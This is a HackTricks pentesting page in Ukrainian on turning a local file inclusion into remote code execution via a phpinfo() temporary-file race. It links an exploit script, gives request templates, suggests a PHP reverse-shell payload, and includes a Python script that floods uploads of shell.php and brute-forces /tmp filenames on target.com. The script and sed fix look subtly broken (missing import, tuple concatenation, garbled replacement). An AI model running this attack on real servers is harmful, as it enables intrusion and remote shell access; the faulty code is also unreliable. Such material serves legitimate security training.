LFI2RCE via phpinfo()

Support HackTricks

Щоб експлуатувати цю вразливість, вам потрібно: вразливість LFI, сторінка, де відображається phpinfo(), "file_uploads = on" і сервер повинен мати можливість записувати в директорію "/tmp".

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Вам потрібно виправити експлойт (змінити => на =>). Для цього ви можете зробити:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Вам також потрібно змінити payload на початку експлойту (наприклад, для php-rev-shell), REQ1 (це має вказувати на сторінку phpinfo і містити заповнення, тобто: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), та LFIREQ (це має вказувати на вразливість LFI, тобто: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Перевірте подвійну "%" під час експлуатації нульового символу)

Теорія

Якщо завантаження дозволено в PHP і ви намагаєтеся завантажити файл, цей файл зберігається в тимчасовому каталозі, поки сервер не закінчить обробку запиту, потім цей тимчасовий файл видаляється.

Отже, якщо ви знайшли вразливість LFI на веб-сервері, ви можете спробувати вгадати назву тимчасового файлу, що створюється, і експлуатувати RCE, отримуючи доступ до тимчасового файлу до його видалення.

У Windows файли зазвичай зберігаються в C:\Windows\temp\php

У linux назва файлу зазвичай випадкова і розташована в /tmp. Оскільки назва випадкова, потрібно витягти звідкись назву тимчасового файлу і отримати до нього доступ до його видалення. Це можна зробити, прочитавши значення змінної $_FILES всередині вмісту функції "phpconfig()".

phpinfo()

PHP використовує буфер 4096B, і коли він повний, він надсилається клієнту. Потім клієнт може надіслати багато великих запитів (використовуючи великі заголовки) завантажуючи php зворотний shell, чекати на першу частину phpinfo(), що повертається (де вказується назва тимчасового файлу) і намагатися отримати доступ до тимчасового файлу до того, як php сервер видалить файл, експлуатуючи вразливість LFI.

Скрипт Python для спроби брутфорсити назву (якщо довжина = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Підтримайте HackTricks

Last updated